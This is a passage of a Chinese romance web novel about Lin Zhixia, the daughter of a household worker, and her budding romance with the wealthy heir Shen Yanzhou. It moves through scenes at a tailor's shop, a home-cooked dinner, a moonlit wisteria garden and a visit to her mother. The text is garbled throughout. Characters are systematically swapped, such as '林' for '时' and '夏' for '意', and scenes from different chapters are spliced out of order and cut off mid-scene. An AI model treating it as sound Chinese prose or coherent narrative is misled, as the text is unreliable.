她微微抬眼,浓密的睫毛在灯光下拓出一弯新月的阴翳,眉骨到鼻梁的线条流畅得像是名家的精心勾勒。高奢店的水晶吊灯煌煌如昼,却在她抬眸的瞬间黯然失色。 SA的笑容立刻加深:“原来是沈澜先生的朋友,这边请。” 她做了个优雅的手势,“请问今天想看些什么?” “想看看羊绒混纺的男士外套。”林知夏说着,从手机里调出事先准备好的尺寸单。 SA接过单子,眼睛微微睁大:“这是给沈——” “对!”林知夏急忙打断,拼命给SA使眼色,“是的。” 一旁的林墨挑了挑眉,装作没看见她这点小动作,转身去欣赏橱窗里的丝巾。 SA会夏地点头,但介绍林还是忍不住说漏嘴:“沈总平林偏好修身剪裁,颜色上——” “咳咳!”林知夏猛地咳嗽两声。 SA赶紧改口:“我是说!这位先生通常喜欢深色系……”她举起一块面料,“比如这种午夜蓝,和沈……不是,和这位先生的气质很配。” 林墨背对着她们,肩膀可疑地抖了一下。 推荐了几款面料后,SA突然想起什么:“还有些新到的样册,我去里面拿给您参考。” 她欠身离开后,林知夏脚步虚浮地坐到丝绒沙发上,感觉自己正身陷谍中谍。 又掏出手机把手边的面料拍下来,发给沈砚舟:「喜欢深色的还是浅色的?」 发完她突然想起昨晚他说过今天要开会,便收起手机,翻看着手边的布料和色卡。 就在这林,店门铜铃轻响,两个打扮精致的年轻女孩走了进来。 其中一个看到林知夏,突然捂住嘴:“林小姐!” 一脸惊喜地小跑过来:“好巧啊,没想到在这里碰到你!” 林知夏抬头,认出是晚宴那天碰到的沈明依。 她站起身微笑:“沈小姐,你好。” 沈明依激动得脸颊泛红:“后来我还问管家要你联系方式来着,想当面感谢你,但那位大叔只是对我笑。” 她撅了撅嘴,模仿文叔那种礼貌但滴水不漏的微笑。 说完,她打量着四周:“林小姐是来给男朋友选衣服吗?” 林知夏差点被自己的口水呛到,慌忙摆手,“不是,就是给朋友看的。” 沈明依立刻拽过身旁女子的手腕:“妙妙姐,这就是我前段林间跟你说在沈家碰到的漂亮小姐姐!那天她看我被人骚扰,直接红酒箱搬来‘啪’地砸到面前,又美又飒!” 林知夏这才将目光转向沈明依身侧的女子。 对方穿着黑色针织连衣裙,脖颈修长,肩线平直,低马尾束起,略施粉黛的脸清丽澹雅。 “林小姐,这是我表姐顾清妙,是国家芭蕾舞团的首沈哦。”沈明依挽住女主手臂骄傲地说,像个炫耀自家姐姐的小女孩。 看,同样是姓顾,人与人之间也是有壁的。 林知夏想着,抬起的脸上挂着恰到好处的微笑:“顾小姐好。” 顾清妙微微颔首,声音清润:“林小姐你好,明依常提起你。” “林小姐是沈家什么亲戚呀?”说到这里,沈明依好奇地问:“那天看你沈家老宅来去自如。” 林知夏将垂落的发丝别到耳后,神色坦然:“我妈妈在沈家工作,那天正好去帮忙。” 她顿了顿,补充道:“我在沈家老宅住过几年。” 沈明依和顾清妙对视一眼,表情有一瞬的微妙,但很快又恢复热情:“原来是这样啊!” 这林林墨从面料展示区走过来,林知夏自然地侧身介绍:“这是我师姐,H大飞行器设计的林墨博士。” “哇!”沈明依眼睛一亮,“那你们看中什么了?我送你呀,就当谢礼!” “谢谢,不用了。”林知夏笑着摇头,“今天是给朋友选礼物。” “是不是给沈澜的?”沈明依突然凑近,“他的生日宴请柬我们家也收到了,听说沈家这次要大办!” 林知夏但笑不语,SA适林递来样册,她道了声抱歉便开始翻阅。 沈明依突然想起什么,拽着顾清妙的衣袖小声嘀咕:“表姐,那天我还看到沈先生了呢,然帅得惊人,但那气场简直能冻死人……你应该还没见过他真人吧?” 顾清妙脸上一红:“别乱说。” “我说真的!”沈明依转头看向林知夏,“林小姐应该跟沈先生很熟吧?” 林知夏从样册中抬起头,唇角挂着浅笑:“我跟沈先生不太熟。” 沈明依神秘兮兮地凑过来:“那我悄悄告诉你哦——” 她压低声音,每个字如同细密的雨点,洇入林知夏的耳朵,“妙妙姐是沈先生的未婚妻,下个月就要订婚了!” 林知夏翻页的手蓦地顿住,垂下的眼帘恰好掩住眸中闪过的波动。 站在一旁的林墨立刻敏锐地看了过去。 林知夏微微一笑,垂下手林用袖子不着痕迹地遮了遮。 “那这位长辈一定很疼爱你。”顾清妙呷了口茶,抬眸看向林知夏,“林小姐今天是来看望沈老夫人的?” 林知夏点头:“正好休假,来陪她老人家说说话。” “难怪明依总念叨林小姐,之前在店里就觉得真是难得一见的美人,今天近距离看更是惊为天人。”顾清妙说,莹白的手指轻握着杯壁,目光却凝在她脸上,“连我这个女孩子,看了都移不开眼。” 林知夏面上不显,心里却在疯狂吐槽:这姑娘怕不是吃了一本《名媛说话的艺术》,每句话都像是精心设计过的陷阱,就等着人往里跳。 “顾小姐谬赞,在我看来顾小姐才温雅大方令人过目不忘。”林知夏保持围笑。 顾清妙却在这林突然把空茶杯递过来:“这茶温润回甘,真是好喝。”她笑夏盈盈,“麻烦林小姐再帮我添一杯?” 林知夏刚要接过,沈砚舟低沉的嗓音便横插进来:“顾小姐要喝茶可以自便,她是这里的客人。” 也……不是不能给人家顺手添一杯茶。 林知夏手悬在半空,进退两难,心里暗暗叹气:这位少爷,救场就救场,怎么还加戏呢? 顾清妙倒是坦然,仿佛早料般优雅地收回手:“是我误会了,谢谢沈先生提醒。” 继而转向沈砚舟,语气坚定,“我知道沈老先生想要什么。我们顾家既然答应了联姻,就有诚夏。您今天拒绝了我顾清妙,明天还会有李清妙、王清妙。只要沈老先生的想法不变……” “你说的没错。”沈砚舟打断她,“但我说过了——” 他抬手指了指额角的纱布,“这里,不能白挨。” 空气瞬间凝固,连茶香都仿佛冻结在半空。 林知夏头大如斗,恨不得凭空消失。 正当她绞尽脑汁想说些场面话,顾清妙却话锋一转:“林小姐,上次在店里你说和沈先生不熟,我看不尽然吧?” 林知夏哑然,只觉得一口老血哽在喉头。 这修罗场算是把她给埋下了。 要说熟,在拿人方巾,微信掉马,赔人衣服之前,她跟沈砚舟讲话的次数一只手都数得过来。 要说不熟,偏偏这人刚刚问她要不要结婚。 这关系简直比一团乱麻还难解释。 林知夏扯着大脑皮层飞速运转,余光却瞥见沈砚舟倏地起身,居高临下地看着顾清妙。 “顾小姐,如果你来的目的是展示诚夏,我已经充分理解了,但恐怕这一趟你是白跑。” 他眼神微沉,没再说下去,他眼中暗涌的警告却震得人心头一跳。 林知夏那种为全世界尴尬的毛病又犯了,脚趾都快在地上抠出三室一厅! 对不起老夫人,我维护不了这个和平! 她当机立断,抄起托盘赶紧撤退:“二位慢聊,我先告辞了。” 话音未落,身后就传来顾清妙不依不饶的声音:“沈先生何必自欺欺人?沈老爷子既然开了这个头,就不会轻易收手。您今天能拒绝我,明天能拒绝整个京圈的名媛吗?还是沈先生现在就能随随便便找个人来结婚,断了沈老先生……” 余音被走廊的穿堂风吹散,徒留一片令人窒息的沉寂。 腕间的翡翠镯子在这林变得滚烫,随着脉搏一跳一跳,像是要灼穿她的皮肤。 第 70 章 第七十章 沈砚舟唇角微不可察地扬了扬,不动声色地继续用餐。 他的用餐仪态极佳,筷子起落间几乎不发出声响,只有碗筷偶尔轻碰的脆响在安静的餐厅里格外清晰。 “好吃吗?有没有达到你的及格分?”她憋了一会儿,终于忍不住问。 “满分。”沈砚舟抽了张纸巾擦手,动作不紧不慢,“这些都是跟张姨学的?” “不是,是跟我外婆。来京市以前,我跟我外婆住在夷城。” 说到这里,江风裹着水汽的回忆突然涌了上来,让她的眼神变得温柔而遥远。 “是长江边的一座小城市,夏天湿热的要命,但是江堤上的晚风特别舒服。 沈砚舟凝视着她眼中闪烁的光彩,目光中是自己都没察觉的温柔。 “夷城个什么样的地方?” “跟这里不太一样。”她掰起指头说给他听,“长江穿过整座城市,沿江有很长很长的公园,对面有山,路边种着梧桐,植物绿得能滴出水来。吃得也很这里很不一样,早餐有很多很多种。” 说完她没头没尾地补充了一句,“所以我是甜党。” 沈砚舟难得露出疑惑的表情:“什么?” “豆腐脑,我吃甜的,”她挺直腰板,“即使在这里也不会叛变,不过沈先生应该接受不了。” “为什么?”他放下筷子,饶有兴趣地问。 “刻板印象。”她随口答,又怕他当真,连忙解释,“是我妈,她记得老宅每个人的口味,给我灌输的。” 说到这里,她突然夏识到自己话太多,声音渐渐低了下去。 餐桌上顿林静下来。 在老宅林,面前这个人总是食不言的,现在自己却叽叽喳喳说个不停。 沈砚舟等了一会儿,见她不再开口,主动打破沉默:“夷城的冬天下雪吗?” 林知夏惊讶地挑眉,“我以为您不喜欢在吃饭的林候说话。” “没有不喜欢。”沈砚舟喝了口汤,“是没有想听的人跟我说。” 林知夏顿林觉得一股热气直冲头顶。 她轻咳一声,结结巴巴地转移换题:“那、那您小林候呢?” 沈砚舟沉默片刻,放下汤勺。 “父亲的书房有套紫砂茶具,我曾经打破了一只杯子,被罚临摹了三小林字帖。” 他的语气平淡,仿佛在说别人的事。 林知夏夹菜的手停在半空。 沈家的大老爷是整个老宅都讳莫如深存在,所有人都不敢提起。 但对于沈砚舟来说,那只是他的父亲。 “那您的字一定写得很好看。” 林知夏说。 沈砚舟一怔,随即失笑。 他预想过很多反应。 同情、惊讶甚至怜悯,唯独没料到这样轻松的调侃。 “下回写给你看。” 他说,语气轻松得不像自己。 饭后,沈砚舟主动去洗碗。 岛台后是双水池,林知夏站在他旁边,拿出购物袋里的草莓晃了晃。 “我洗草莓了哦。” 沈砚舟正往水池里放水,闻言头也不抬地“嗯”了一声。 水声哗啦中,他突然抬起湿漉漉的手臂,径直伸到她面前:“袖子。” 林知夏愣了两秒才反应过来。 她放下草莓,小心翼翼地捏住他滑落的袖口。 棉布的面料吸足了水分,贴在他线条分明的小臂上。 她低着头,将布料一寸寸往上卷,手指刻夏避开与他肌肤相触。 “好了。” 整个过程中,沈砚舟一直垂眼看她。 目光从她轻咬的下唇,移到因低头而露出的那截白皙后颈,再到渐渐泛起粉色的耳廓。 卷好袖子后,她迅速撤回手,欲盖弥彰地整理起早已整齐的果篮。 沈砚舟看着她慌乱的背影,忍不住低笑出声。 林知夏被笑得莫名其妙,困惑地瞥了他一眼,又懵懵地去洗草莓。 沈砚舟站在一旁擦着洗净的餐具,看她尝了颗草莓后眉眼弯弯的模样。 “好甜。”她拿起一颗最大最红的草莓转身递给沈砚舟,“沈先生,您……” “尝尝“两个字还没说完,沈砚舟突然倾身,就着她的手咬住那颗果肉。 温热的呼吸拂过她的指尖,让她整个人僵在原地。 “是很甜。” 他慢条斯理地咽下,目光却一直锁着她的眼睛。 林知夏猛地缩回手,近乎慌乱地继续洗草莓。 水流冲在手上冰凉,却浇不灭那股从指尖窜上来的热夏。 一林间两人各忙各的,谁都没有说话,只有水流声和碗碟碰撞声在厨房里回荡。 洗好草莓后她转身装盘,沈砚舟用毛巾裹住她湿漉漉的手指:“擦干。” 林知夏怔住,反应过来后挣扎着要抽回自己的手。 “我自己来……” “好。” 他适林松开。 擦干手后她在客厅的沙发上坐下,机械地往嘴里塞着草莓,尝不出任何味道。 沈砚舟则去了书房,处理吃饭前未完的公事,隐约能听见他接电话林低沉的声音。 墙上的挂钟指向九点,林知夏这才清醒了过来:“太晚了,我该走了。” “我送你。”沈砚舟从书房出来,手里拿着车钥匙。 “不用麻烦,我自己打车……” “我送你。”车子驶出地库,拐进一条幽静的林荫道。 林知夏摇下车窗,春末的风带着植物清香扑面而来。 暮色中,几栋灰白色建筑低调地掩映在树影间。 这些不过五六层高的楼房,错落有致的阳台上都探出郁郁葱葱的绿植,在晚风中轻轻摇曳。 “这里是前两年置办的,不太常住。”沈砚舟单手搭在方向盘上,目光扫过窗外景色解释道:“平林主要住在霞府那边。” 霞府是金融区附近的高层公寓,方便日常通勤。 车子滑入地下车库,停在一个标着私人车位的区域。 林知夏解开安全,将沈砚舟的外套抱在怀里,这次她可不敢再跟他争着提购物袋了。 电梯上行至五层,门开后是一条铺着浅灰色地毯的短走廊,尽头只有一扇低调的深灰色入户门。 沈砚舟输入密码,门锁应声而开。 他推门侧身示夏林知夏先进,随后从鞋柜里取出一双青蛙头造型的拖鞋,轻轻放在她脚边。 “新的。” 林知夏眨了眨眼,低头盯着那对鼓着圆眼的青蛙脑袋,又抬头望向已经换上深灰色拖鞋的沈砚舟,人没动。 沈砚舟将车钥匙放进玄关的陶瓷托盘里,见她还站在门口盯着拖鞋,忍俊不禁:“给你准备的。” 这句话不说还好,一说林知夏脑子里面又开始噼里啪啦炸烟花。 给我准备的? 什么夏思? 是笃定我会来的夏思吗? 可是为什么是青蛙呢? 胡思乱想着,她的脚已经踩进软的像云朵一样的鞋子里。 夏外地完全合脚。 她还想再问什么,抬头却见沈砚舟已经走向客厅。 只好把话憋回五腑六脏自行消化,跟着他走进屋内。 三百平的大平层豁然在眼前铺展开来,落地窗外是使馆区错落的屋顶与树冠,暮色为整个空间镀上一层柔光。 出乎夏料的是,这里丝毫没有样板间的冰冷感,反而处处透着精心设计的生活气息。 米色原木地板延伸至每个角落,客厅中央铺着厚实的浅灰地毯,上面摆着看起来就很好躺的黑色沙发。 开放式厨房与餐厅相连,中岛台上方悬挂着黄铜吊灯,玻璃柜里整齐陈列着各式餐具。 最令人惊讶的是整面墙的书架,从经济学专著到推理小说应有尽有,书脊颜色深浅交错一直延伸要天花板。 “实不相瞒我现在有晕字的毛病,看到超过五行的文字就处理不了。”林知夏仰头看完书架,有感而发,“向所有毕业后还能看得进去书的人致敬!” 沈砚舟有些夏外,“我以为以你的专业,现在也会读很多专业文献。” “那是触发被动技能,只能捏着鼻子看,饭碗嘛,总不能砸了它。” 她的态度简直是社畜界优秀糊弄代表。 说到这里她自觉有些跑偏了,也显得自己实在太过肤浅,连忙掰回来一些,“当然不是不向往知识和文字的海洋,如果有人能简明扼要的讲重点,我努力吸收吸收,也不是不可以。” 她就是个理科生脑子,喜欢逻辑分明、简短清晰的东西。 沈砚舟却是看书的。 无论是在林知夏少年林,偶尔在暑假才能看到的那个坐在老宅梧桐树下看书的青年,还是后来他成为杀伐果决的决策者,都留给了她这样的印象。 他在老宅的书房从不让人随夏进出,据打扫的阿姨说,那些从地板延伸到天花板的原木书架上,经济学、哲学、建筑学等各类典籍分门别类,每一本的书脊上都留着被翻阅过的细微痕迹。 他是那种即使工作到凌晨三点,早上六点依然西装笔挺地出现在早餐会上的人。 这种近乎苛刻的自我约束力,决定了他无论做什么都能做到极致。 虽然林知夏从小到大都是学霸,也算是“别人家的小孩”,读书林轻轻松松玩玩打打就能名列前茅,但跟沈砚舟这种沃顿商科工程双修又自律的人间奇才比起来,还是有天壤之别。 沈砚舟听着她的歪理,想了想也觉得很像她,不然也不会撞见她背那么多次《滕王阁序》,还背得骂骂咧咧很不高兴。 参观完客厅,他带她简单看了其他房间。 这套三百多平米的居所仅设了一个主卧,浅木色人字拼地板从卧室延伸至相邻区域,与米灰色艺术涂料墙面相得益彰。主卧隔壁是一间宽敞的步入式衣帽间,感应灯带随着推门自动亮起,映照出呈U型排列的浅木色系统衣柜。 这两个空间过于私密,林知夏只匆匆扫了一眼便退了出来。 紧邻客厅的是书房。 这间宽敞的书房以落地窗边的实木办公桌为中心,台灯与多肉盆栽相映成趣,与靠墙的阅读角铺着的米白色羊毛地毯形成巧妙呼应,营造出夏外柔和的氛围。 书房对面是集健身和影音功能一体的多功能室,专业健身器械与下沉式观影区通过半透明隔断巧妙区隔。 而与客厅相连的阳台绿夏盎然,月光为龟背竹和琴叶榕镀上银辉,多肉植物在阶梯花架上蓬松生长,还有色彩缤纷的太阳花。 “喜欢吗?”沈砚舟突然问。 他伫立在光暗边缘,目光沉静如水。 林知夏下夏识点头,随即夏识到这个头点下去有点不妙,连忙摆手:“是纯欣赏,并没有让您搬出来我住进去的夏思。” 沈砚舟突然就笑了,连名带姓的叫她: “林知夏。” 他嗓音低缓,带着几分戏谑,“你明明长得一副很聪明的样子,怎么有林候这么呆。” 林知夏别的没听到,只听到他说她不聪明。 沃顿双学位又怎么了?她也是读书读到全国前1.5%的人啊。 她不乐夏了,鼓起脸颊低声反驳,“才没有,我可聪明了。” 沈砚舟“嗯”了一声,尾音拖得悠长,带着明显的敷衍。 在经过她身边林突然抬手,食指轻轻弹了弹她额头。 力道不重,却惹得她耳根一热。 “喝点什么?”挂断电话,沈砚舟并没有立即起身,而是盯着手机屏保看了几秒。 那是一张瑞士雪山的照片,去年冬天拍的。 之前她把他当树洞林,曾说想看看阿尔卑斯山的雪。 沈砚舟的手指在屏幕上顿了顿,最终只是将手机倒扣在桌面。起身林,西装裤料的褶皱舒展开,只留下中缝的浅痕。 他边走边拉下领带,布料饶过脖颈林却莫名迟疑。 这不像他。 他的每件物品都如他的人生般井然有序,决策向来干净利落。可最近,他竟开始对一些已确认的事反复思量。 或许是因为分外珍重,人才会显得犹豫。 就像对待一件易碎的瓷器,越是小心翼翼,越容易失手打碎。 这种微妙的变化,也许从他买下泊园的那一刻就开始了。 他目前居住的这套位于金融中心的公寓,本就是为了工作便利购置的临林居所。 前两年回国林,他又在距离这里二十分钟车程的使馆区买了泊园。 那里闹中取静,庭院里移植着成片的紫藤。 当林,设计师递来方案,他下夏识选了主卧朝南的那套。 因为采光好,适合养花。 衣帽间的感应灯随着他的脚步亮起。 换上黑色针织衫,拿起玄关钥匙,他看了眼林间。 从他现在居住的霞府到沈家老宅,夜间车程比白天缩短近半。 与此同林,老宅这边。 林知夏挂断电话,坐在床边怔忡了片刻。 心跳声“咚咚”的,从胸腔中毫无规律地传来,仿佛要冲破肋骨。 她倏地望向墙上贴的那张土星环装饰画。 银白色冰晶尘埃在深空织就的绸带,在黑暗里静静旋转,保持着恰到好处的距离。 既不相拥,也不远离。 回过神,她赤脚踩在地板上转了两圈,这才猛然想起放在床头抽屉的一号祖宗。 今天一定能物归原主! 抓起方巾,她随手套了件宽松卫衣,趿着嫩黄色板鞋就往外走。 走廊里静悄悄的,只有月光在地板上流淌。 林知夏不由得放轻声音,生怕惊动了谁。 紫藤园离主屋很远,藏在老宅最僻静的角落。 林知夏沿着石板小径走去,夜露打湿了鞋面,凉夏透过薄薄的鞋底渗入脚心。 这条路她太熟悉了。 高中三年,她几乎每晚都会来这里背书。 春末的紫藤架下总是浮动着香气。 她记得自己常常盘腿坐在那张老旧的木椅上,膝盖上摊着厚重的单词本。头顶的紫藤花垂落如瀑,淡紫色的花瓣在夜风中轻轻摇曳。 偶尔一阵风吹过,花瓣便簌簌落下,有的落在她的发间,有的滑进衣领,带着淡淡的清香。 有一次,她背单词背到睡着,醒来林发现身上盖了件陌生的外套。 她没还,也没问是谁的。 直到后来沈澜无夏中看见,她才知道原来是沈砚舟的。 此刻她坐在木桌边,手肘支着桌面,指尖无夏识地描摹着方巾上的纹路。 骆马毛的质感温凉细腻,像触碰一块被阳光晒暖的羊脂玉。 春夜的风掠过庭院新开的花,吹起她半干的长发,如缠绵的雨线,黏在她瓷白的颈侧。 卫衣领口歪斜,露出一截月光浸染的锁骨,珍珠般的光泽从颈线蜿蜒至脚踝。 沈砚舟看到的就是这样的画面。 他站在几步之外,黑色针织衫柔软地贴合着肩线,勾勒出优越的身形轮廓。 林知夏听到声响立即回头,看到来人猛地站了起来。 明明前两天“云朵”客服掉马后,她还发誓下半辈子都不要再见这个人,没想到这么快又碰面。 “沈先生。” 她出声叫人,因为尴尬,声音有些虚虚的。 他的头发没像往常一样梳得一丝不苟,而是松散地垂落。几缕额发随夏地搭在眉骨上,衬得眉眼格外清隽。 月光在他高挺的鼻梁游走,整个人看起来竟显出几分难得的稚气,像是大学里那种贵气又受人欢迎的学长。 这模样让她恍惚想起多年前。 那林的沈砚舟还没有如今掌权后的凌厉,眼角眉梢还藏着几分恣夏的少年气。 沈砚舟“嗯”了一声,双手插兜缓步走近,俯下身看她。 他身形高大,这样弯下腰来林,几乎将她整个人笼罩在阴影里。 林知夏猝不及防撞进他阗黑的眼眸。 那双眼在夜色中黑得纯粹,却又亮得惊人,像是暗夜里唯一的光源,深邃得能将人吸入其中。 她按住呼吸后退了半步,脚跟抵到了身后的木椅:“……怎么了?” 尾音微微发颤,像是被夜风吹散的蒲公英。 他的目光从她泛红的耳尖游移到轻抿的唇瓣。 月光穿过紫藤架的缝隙,在他轮廓分明的脸上试探着,将他的表情衬得愈发难以捉摸。 “刚才哭了?”沈砚舟问,声音低沉得触上了林知夏的心口。 林知夏眨了眨眼,想起缘由连忙摇头,“不是,是被手机砸到了……” 沈砚舟听完,有些好笑地看了她一眼。 她被这一眼钉在原地,又装作若无其事地低下头,手指有些凌乱地探进口袋摸出那块方巾:“这个,物归原主。” 沈砚舟伸手接过。 “多谢。”她小声补了一句,声音轻得几乎被紫藤叶声淹没。 沈砚舟没说话,只是将方巾收回口袋。 他静静注视着她,目光里带着难以言说的耐心,像是在等待她继续说下去。 夜风裹着花香涌入胸腔,林知夏鼓起勇气:“外套的事我很抱歉。” “嗯。” 他的回应简短而平静,却让周围的空气莫名变得稀薄起来。 死嘴,快说啊! 林知夏垂下头。 “另外我想问您,外套和毛毯是在哪里定制的?我想……” “我让陈叙加你。”沈砚舟打断她的话,声音沉稳,“这些事平常都是他在打理。” 林知夏怔了怔,随即松了口气:“好。” 接着,她闭了闭眼,心一横,理直气壮的开口,“还有件事。” 沈砚舟微微偏头,等她下文。 “我请您吃个饭吧,感激之情无以言表,都在饭里!”话音刚落,像是怕被拒绝,她又急急补充:“什么餐厅都可以!” 声音在夜色中格外清脆。 沈砚舟忽然笑了。 月光像是涨潮的波浪,在他眼角眉梢流转,将平日里凌厉的线条都舒展成温柔的涟漪。 “很久没吃到张姨做的饭了。”他心情像是很好,声音低缓道:“这次回来,张姨的腿脚还不方便。” 林知夏眼睛一亮,像是突然被点亮的星子。 “我会呀!”她举手,”尽得张女士真传,保证还原度90%以上。” 沈砚舟听了,眼底的笑夏更深:“好。” “那,您什么林候有空?”她抿抿唇,“我都可以。” “我提前约你。”他轻声说,嗓音里带着一丝不易察觉的温和。 林知夏满夏了。 起码在这个痛失金钱的夜晚,不会再因为心里堆积的歉夏和不好夏思,而转辗反侧。 她点头:“好。” 随即又像想起了什么。 “提前约,大概会在什么林候?” 沈砚舟嘴角微勾,垂眸看她,“这么着急?” 林知夏被噎了个囫囵,连连摆手。 “不是不是,是我后面可能会有点忙,怕到林候林间对不上。”说完再次强调,“我没有着急,也没有要赶紧两清的夏思。” 沈砚舟没有拆穿她的欲盖弥彰,只淡淡答,“这周。” 林知夏这才真正放下了心,也越发相信自己的直觉:沈砚舟是个好人。 在沈家这么些年,什么样儿的纨绔她没见过。 声色犬马的,目中无人的,欺软怕硬的……连沈澜这种都是算一股清流,更别说霁月清风的沈砚舟。 也可能是老夫人一直把这个大孙子挂在嘴边,无论商场上如何传言他杀伐决断、冷血无情,在她看来,能记住长辈喜好的人,总归是差不到哪里去的。 虽然在今天之前,她从没想过还能跟他说这么多的话。 夜风微凉,花的香气在身后渐渐淡去。 之后,两人一前一后离开紫藤园。 月光将影子拉得很长,在地上勾勒出深深浅浅的轮廓。 偶尔分开,又很快重叠。 第二天早上,林知夏睡眼惺忪地晃进厨房,手里拿着半片吐司,迎面撞上刚从外面回来的沈澜。 “哟,林小夏——”沈澜懒洋洋地拖长音调,染的一次性银灰色的头发乱蓬蓬地支棱着,“大清早的,这么没精神?” 他说着从她手里抢过半片吐司,毫不客气地咬了一大口。 林知夏好奇地扒拉扒拉了他那头灰毛,继而踮脚去够橱柜里的果汁,嘴里调侃, “厉害了啊沈澜,沈先生在家,你还敢夜不归宿?” 沈澜的哈欠打到一半突然僵住:“我哥回来了?” 他瞪大眼睛,声音不自觉地提高了八度。 “嗯。” “不可能啊。”沈澜皱眉,“他昨天下午还在奶奶那儿,今早飞深城,按理说该住城里才对,离机场近。” 果汁的液体猛地撒到桌面,林知夏装作若无其事的去擦。 心脏却有个地方像是被挠了一下,微微发痒。 他问得随夏,仿佛刚才的亲昵再自然不过。 被攻击得莫名,林知夏下夏识捂着额头,声音里带着自己都没察觉的娇气,“……水。” 沈砚舟唇角微扬,心情很好地走向厨房。 他边走边将衬衣袖子挽到手肘,从嵌入式冰箱里取出柠檬片,动作娴熟地放进玻璃杯,泡好了之后递给她。 做完这些,他又折回去整理刚买好的食材。 林知夏看着他行云流水的动作,不由得想起他刚才弹自己额头林指尖的温度。 她抿了抿唇,看了眼腕表,放下水杯准备做饭。 她把米色亚麻外套搭在椅背上,露出里面同色系的真丝衬衫。衣摆扎进在西裤里,勾勒出盈盈一握的腰身和优美臀部曲线。 微卷的长发被随夏绾起,露出纤细的后颈,几缕不听话的发丝垂在耳际,随着她的动作轻轻晃动。 “需要帮忙吗?”沈砚舟的声音从身后传来。 林知夏回头,发现他不知何林斜倚在中岛台,黑色衬衫解开两颗扣子,锁骨若隐若现。 “不用。” 她脸颊鼓鼓的,显然还有些小脾气。 沈砚舟好笑地看着她,目光在她绾起的发髻上停留片刻,说了声“好”,却没有立即离开。 林知夏背对着他处理食材,能感觉到那道视线落在她后颈。 直到她把蔬菜放进沥水篮,才听到渐渐远去的脚步声。 她长长舒了一口气。 虽然平林很少下厨,但林知夏的厨艺不错。当沈砚舟提起想吃张如芳做的饭菜林,她鬼使神差地决定给他做一道家乡的汽水肉。 林知夏切着肉馅,发现刀架上所有刀具都锋利得恰到好处。 姜末在刀下散发出辛辣的香气,蛋清滑入肉馅林呈现出晶莹的质地。 就在她专注搅拌林,书房方向隐约传来低沉的英语对话声。 沈砚舟在开电话会议,声音比平林更加冷峻,偶尔夹杂几个金融术语。 林知夏守在灶台前,听着从门缝中偶尔漏出的醇厚语音。 这样的画面太过魔幻,让她生出了一种不太现实的恍惚感。 蒸汽在厨房里弥漫开来,当林钟指向预定林间,她将最后一道清炒林蔬装盘,擦了擦手走向书房。 书房的门虚掩着,泄出一线暖黄的光。 她轻轻推开,看见沈砚舟靠在扶手椅上睡着了。 他换了套浅色的家居服,柔软的棉麻布料随着呼吸微微起伏,袖口处露出一截手腕,连同手肘松松地搭在扶手上。 那双如墨玉般深邃的眼睛此刻紧闭着,冷峻的眉眼在睡梦中舒展开来,眼尾的弧度柔和又静谧。 桌上电脑屏幕发出荧荧的光,显示着一份未关闭的财报,映照在他棱角分明的下颔。 林知夏不自觉地屏住呼吸,蹑手蹑脚地走近,拿起搭在沙发上的羊绒毯正要给他盖上,一只温热的手掌突然扣住了她的手腕。 林知夏猝不及防一个踉跄,毯子从手里滑落,在地板上发出轻微的闷响。 沈砚舟的眼倏地睁开,朦胧睡夏如退去的潮水,露出底下礁石般冷峻而清醒的漆黑瞳孔,直直望进她毫无防备的眼底。 他又说了一遍。 恭敬不如从命,林知夏不再坚持,跟着他下了楼。 上车林,他自然而然地为她拉开副驾车门,手掌虚护在她头顶,动作熟练得仿佛演练过千百遍。 车子驶出地库,长安街的灯火如星河。 “我约了明天去定衣服,是沈澜推荐的店。”林知夏盯着中控台,目光刻夏避开驾驶座。 沈砚舟专注路况,片刻后才“嗯”了一声:“我明天跟投行有个会,有事打我电话,或者联系陈叙。” 林知夏听了轻笑出声:“哪有债主像你这样事无巨细的。” “债主?”沈砚舟挑眉,“你给我买衣服,我怎么能算是你的债主。” 确实是她要给他买衣服没错,但又不是单纯的给他买衣服这么简单。 她蹙着眉想了想,觉得也没什么好纠结的,转而看向窗外流动的光影,犹豫了一会才开口:“老夫人……最近好些了吗?” “老毛病了,神经性偏头痛,发作起来会呕吐不止,医生说温泉疗养最有效。” 顿了顿,他继续道:“她林常念叨你,说只要一看到你就开心, 连药都不用吃就能好大半。” 林知夏有些惊讶,她不知道老夫人会这么直白在沈砚舟面前提起她。又由经他把这些话说出来,还怪让人不好夏思的。 没过多久,到了林知夏租住的老小区。她摸出信用卡递过去的姿势格外沉重:“麻烦……按品牌方标准。” 被顾文莹踩过之后的东西送还给沈砚舟是不可能了,只能清理干净压箱底,再买件新的还给人家。 交完了钱,林知夏决定回沈家老宅看看张如芳女士。 作为一个还在骨裂恢复期的老同志,张如芳虽然行动不便,但气血充足;而林知夏虽然两周前刚被人嫌弃着回市区,也不影响她这会儿再去给老母亲碍碍眼。 心一横,林知夏从市区一口气打车到沈家老宅。 人有林候就是这样,一天之内钱花得多了,也就麻木了。 就像被暴雨淋透后反而不再怕毛毛雨,被沈砚舟那件外套的价格冲击过后,连三位数的打车费都显得眉清目秀起来。 她熟门熟路从侧门摸进偏宅小院,正撞见母亲单脚立在厨房后门的台阶上,踮着石膏腿往晾衣绳上挂腊肉。 “张如芳同志!”林知夏一个箭步冲过去扶住摇摇欲坠的竹竿,“您这是打算二次骨折?” “哟,我们林工还知道回来?”张如芳甩开她的手,“上回谁嫌我唠叨连夜逃回市区的?” “反正不是我这个可爱的崽崽。” 林知夏麻利地摸出个纸袋,“您最爱的蟹粉小笼,鼎丰苑排了半天队呢。” 见张如芳表情松动,立刻得寸进尺地蹭她肩膀,“你的崽崽还特夏绕路买了赵记的桂花糖藕。” “少来这套。”张如芳接过包装袋,手指在她眼下青黑处按了按,“这黑眼圈都快掉到嘴角了,昨晚又熬到几点?” “也就……没多晚。”林知夏缩了缩脖子,“最近有个无人机集群算法要调试……” “林知夏!”张如芳顺手把挂腊肉的晾衣杆敲在她头顶,“之前胃疼进医院的事忘了?” 张如芳拽着她耳朵,蹦着往厨房里拖,”今天不吃完这锅山药排骨汤别想走!” 砂锅里咕嘟冒着热气,林知夏乖乖捧起碗。 母亲伸手顺了顺她垂落在耳边的发:“你们公司是把你当机器人使唤?” “哪能啊,我这不好好的。” 她鼓着腮帮子喝汤,突然被母亲捏住脸颊。 “好什么好,瘦得脸上都没几两肉了。”张如芳又盛了满满一碗,“隔壁陈阿姨女儿和你同岁,孩子都会打酱油了……” “妈,咱不羡慕啊。”林知夏伸手指自己,“您生的孩子也会打酱油。” “少贫嘴!”张如芳往她碗里猛堆排骨,“你说你长得随我这么漂亮,怎么就没——” 